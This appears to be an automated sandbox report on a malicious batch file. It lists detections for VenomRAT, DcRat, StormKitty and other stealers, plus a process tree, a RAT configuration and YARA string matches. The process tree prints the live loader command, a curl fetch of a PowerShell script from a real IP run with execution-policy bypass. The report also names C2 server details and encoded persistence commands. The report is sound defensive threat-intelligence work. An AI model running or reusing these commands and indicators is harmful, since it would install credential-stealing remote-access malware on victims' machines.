Edit tour

Windows Analysis Report
gqub.bat

Overview

General Information

Sample name:	gqub.bat
Analysis ID:	1582970
MD5:	bb445d197063475c8d78de4f0825753c
SHA1:	158a8e3b278affe7c1185aad67683e4253cf53dd
SHA256:	7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10
Tags:	147-45-44-131batbookingSPAM-ITAuser-JAMESWT_MHT
Infos:

Detection

AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected AveMaria stealer

Yara detected BrowserPasswordDump

Yara detected DcRat

Yara detected Keylogger Generic

Yara detected Powershell download and execute

Yara detected StormKitty Stealer

Yara detected Strela Stealer

Yara detected VenomRAT

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Bypasses PowerShell execution policy

Compiles code for process injection (via .Net compiler)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 5160 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\gqub.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2724 cmdline: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

curl.exe (PID: 2720 cmdline: curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

powershell.exe (PID: 7112 cmdline: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -" MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 2268 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 5308 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDC68.tmp" "c:\Users\user\AppData\Local\Temp\vbemnivw\CSCFFA6F3335FDF408C8C503A5C98CF914D.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

RegAsm.exe (PID: 3132 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 1112 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6264 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6268 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Ave Maria, AveMariaRAT, avemaria	Information stealer which uses AutoIT for wrapping.	Anunak	http://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery https://asec.ahnlab.com/en/36629/ https://blog.cyber5w.com/analyzing-macro-enabled-office-documents https://blog.morphisec.com/syk-crypter-discord https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, 404KeyLogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: VenomRAT

{"Server": "157.20.182.177", "Port": "4449", "Version": "RAT + hVNC  6.0.5", "MutexName": "zxfcrdrxsqxt", "Autorun": "false", "Group": "false"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2840df:$a1: havecamera 0x2d64d1:$a2: timeout 3 > NUL 0x2d9ccc:$a3: START "" " 0x2da30b:$a3: START "" " 0x2da1e6:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x2da283:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x2d5bd1:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x2d175d:$s6: VirtualBox 0x2e2d9c:$s6: VirtualBox 0x2ddfd5:$s8: Win32_ComputerSystem 0x2e2d02:$s8: Win32_ComputerSystem 0x2dac3d:$s9: Win32_Process Where ParentProcessID= 0x2da782:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2da97a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2daa62:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.4575113182.0000000002D45000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x173ba8:$a1: havecamera 0x1be9d2:$a2: timeout 3 > NUL 0x1c1d55:$a3: START "" " 0x1c226a:$a3: START "" " 0x1c2145:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x1c21e2:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1c5fa6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1be242:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x1ba3b6:$s6: VirtualBox 0x1c9f35:$s6: VirtualBox 0x1c5952:$s8: Win32_ComputerSystem 0x1c9e9b:$s8: Win32_ComputerSystem 0x1c2a7e:$s9: Win32_Process Where ParentProcessID= 0x1c269b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1c2738:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1c284d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1c2935:$cnc4: POST / HTTP/1.1
0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241208:$a1: havecamera 0x28c032:$a2: timeout 3 > NUL 0x28f3b5:$a3: START "" " 0x28f8ca:$a3: START "" " 0x28f7a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28f842:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293606:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28b8a2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287a16:$s6: VirtualBox 0x297595:$s6: VirtualBox 0x292fb2:$s8: Win32_ComputerSystem 0x2974fb:$s8: Win32_ComputerSystem 0x2900de:$s9: Win32_Process Where ParentProcessID= 0x28fcfb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fd98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28fead:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28ff95:$cnc4: POST / HTTP/1.1
00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241be0:$a1: havecamera 0x53f618:$a1: havecamera 0x28ca0a:$a2: timeout 3 > NUL 0x58a442:$a2: timeout 3 > NUL 0x28fd8d:$a3: START "" " 0x2902a2:$a3: START "" " 0x58d7c5:$a3: START "" " 0x58dcda:$a3: START "" " 0x29017d:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58dbb5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x29021a:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58dc52:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293fde:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x591a16:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28c27a:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x589cb2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x2883ee:$s6: VirtualBox 0x297f6d:$s6: VirtualBox 0x585e26:$s6: VirtualBox 0x5959a5:$s6: VirtualBox 0x29398a:$s8: Win32_ComputerSystem 0x297ed3:$s8: Win32_ComputerSystem 0x5913c2:$s8: Win32_ComputerSystem 0x59590b:$s8: Win32_ComputerSystem 0x290ab6:$s9: Win32_Process Where ParentProcessID= 0x58e4ee:$s9: Win32_Process Where ParentProcessID= 0x2906d3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58e10b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x290770:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58e1a8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x290885:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58e2bd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x29096d:$cnc4: POST / HTTP/1.1 0x58e3a5:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_Keylogger_Generic_1	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 7112	JoeSecurity_AveMaria	Yara detected AveMaria stealer	Joe Security
Process Memory Space: powershell.exe PID: 7112	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x35debb:$b2: ::FromBase64String( 0x35deeb:$b2: ::FromBase64String( 0x35df1b:$b2: ::FromBase64String( 0x35f884:$b2: ::FromBase64String( 0x37b164:$b2: ::FromBase64String( 0x37b194:$b2: ::FromBase64String( 0x37b1c4:$b2: ::FromBase64String( 0x37bb4b:$b2: ::FromBase64String( 0x3867cf:$b2: ::FromBase64String( 0x386852:$b2: ::FromBase64String( 0x38687e:$b2: ::FromBase64String( 0x386904:$b2: ::FromBase64String( 0x386948:$b2: ::FromBase64String( 0x387907:$b2: ::FromBase64String( 0x387936:$b2: ::FromBase64String( 0xc54e:$s1: -join 0x111da:$s1: -join 0x19ee58:$s1: -join 0x19f5b9:$s1: -join 0x1c61e3:$s1: -join 0x1c621e:$s1: -join
Process Memory Space: powershell.exe PID: 7112	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x108192:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x2a7307:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: powershell.exe PID: 7112	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xabf46:$s6: VirtualBox 0x24b0bb:$s6: VirtualBox 0x3771:$s8: Win32_ComputerSystem 0x5b31:$s8: Win32_ComputerSystem 0x5d83:$s8: Win32_ComputerSystem 0xa3d3:$s8: Win32_ComputerSystem 0x107e68:$s8: Win32_ComputerSystem 0x10a085:$s8: Win32_ComputerSystem 0x2a6fdd:$s8: Win32_ComputerSystem 0x2a91fa:$s8: Win32_ComputerSystem 0x1067be:$s9: Win32_Process Where ParentProcessID= 0x2a5933:$s9: Win32_Process Where ParentProcessID= 0x1065d1:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2a5746:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10661f:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2a5794:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1066a9:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2a581e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10671d:$cnc4: POST / HTTP/1.1 0x2a5892:$cnc4: POST / HTTP/1.1
Process Memory Space: RegAsm.exe PID: 6268	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 6268	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: RegAsm.exe PID: 6268	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6268	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6268	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: RegAsm.exe PID: 6268	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: RegAsm.exe PID: 6268	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 6268	JoeSecurity_AveMaria	Yara detected AveMaria stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6268	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xe3883:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: RegAsm.exe PID: 6268	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x87637:$s6: VirtualBox 0x1e436:$s8: Win32_ComputerSystem 0xe3559:$s8: Win32_ComputerSystem 0xe5776:$s8: Win32_ComputerSystem 0x10fce0:$s8: Win32_ComputerSystem 0x1102e2:$s8: Win32_ComputerSystem 0x1103f9:$s8: Win32_ComputerSystem 0x1117f6:$s8: Win32_ComputerSystem 0x112145:$s8: Win32_ComputerSystem 0x11882c:$s8: Win32_ComputerSystem 0x127dc2:$s8: Win32_ComputerSystem 0x127e67:$s8: Win32_ComputerSystem 0x1447da:$s8: Win32_ComputerSystem 0x1447ef:$s8: Win32_ComputerSystem 0x14497e:$s8: Win32_ComputerSystem 0x145633:$s8: Win32_ComputerSystem 0x14571d:$s8: Win32_ComputerSystem 0x1462c2:$s8: Win32_ComputerSystem 0x147c0a:$s8: Win32_ComputerSystem 0xe1eaf:$s9: Win32_Process Where ParentProcessID= 0xe1cc2:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Click to see the 42 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.powershell.exe.23ad05c1608.7.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
4.2.powershell.exe.23aceb6d430.0.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
4.2.powershell.exe.23ad05bb1d0.5.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x6a00:$x2: https://github.com/LimerBoy/StormKitty 0x6a1c:$x3: StormKitty
4.2.powershell.exe.23ad04ef85e.1.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
4.2.powershell.exe.23aceb266ae.4.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x4734a:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x47366:$x3: StormKitty
4.2.powershell.exe.23aceb29b50.3.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x43ea8:$x2: https://github.com/LimerBoy/StormKitty 0x43ec4:$x3: StormKitty
4.2.powershell.exe.23ad0505218.2.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0xbc9b8:$x2: https://github.com/LimerBoy/StormKitty 0xbc9d4:$x3: StormKitty
4.2.powershell.exe.23ad04ef85e.1.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0xd0572:$x2: https://github.com/LimerBoy/StormKitty 0xd058e:$x3: StormKitty
4.2.powershell.exe.23adec1c7d8.9.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
4.2.powershell.exe.23adec1c7d8.9.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
4.2.powershell.exe.23adec1c7d8.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.powershell.exe.23adec1c7d8.9.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
4.2.powershell.exe.23adec1c7d8.9.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
4.2.powershell.exe.23adec1c7d8.9.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x23f608:$a1: havecamera 0x28a432:$a2: timeout 3 > NUL 0x28d7b5:$a3: START "" " 0x28dcca:$a3: START "" " 0x28dba5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28dc42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.23adec1c7d8.9.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x290b2c:$str01: Processe: 0x2909e8:$str02: Compname: 0x290ae2:$str04: SandBoxie: 0x290a78:$str08: WEBCAMS COUNT: 0x290a9c:$str09: [Virtualization] 0x2912ea:$str10: [Open google maps]( 0x292d61:$str11: Remember password: 0x285e54:$str12: Target.Browsers.Firefox 0x26d5cf:$str13: Modules.Keylogger 0x275492:$str14: ClipperAddresses 0x277637:$str15: ChromiumPswPaths 0x277649:$str15: ChromiumPswPaths 0x27358c:$str16: DetectedBankingServices 0x2736f5:$str17: DetectCryptocurrencyServices 0x2815ee:$str18: CheckRemoteDebuggerPresent 0x282573:$str19: GetConnectedCamerasCount
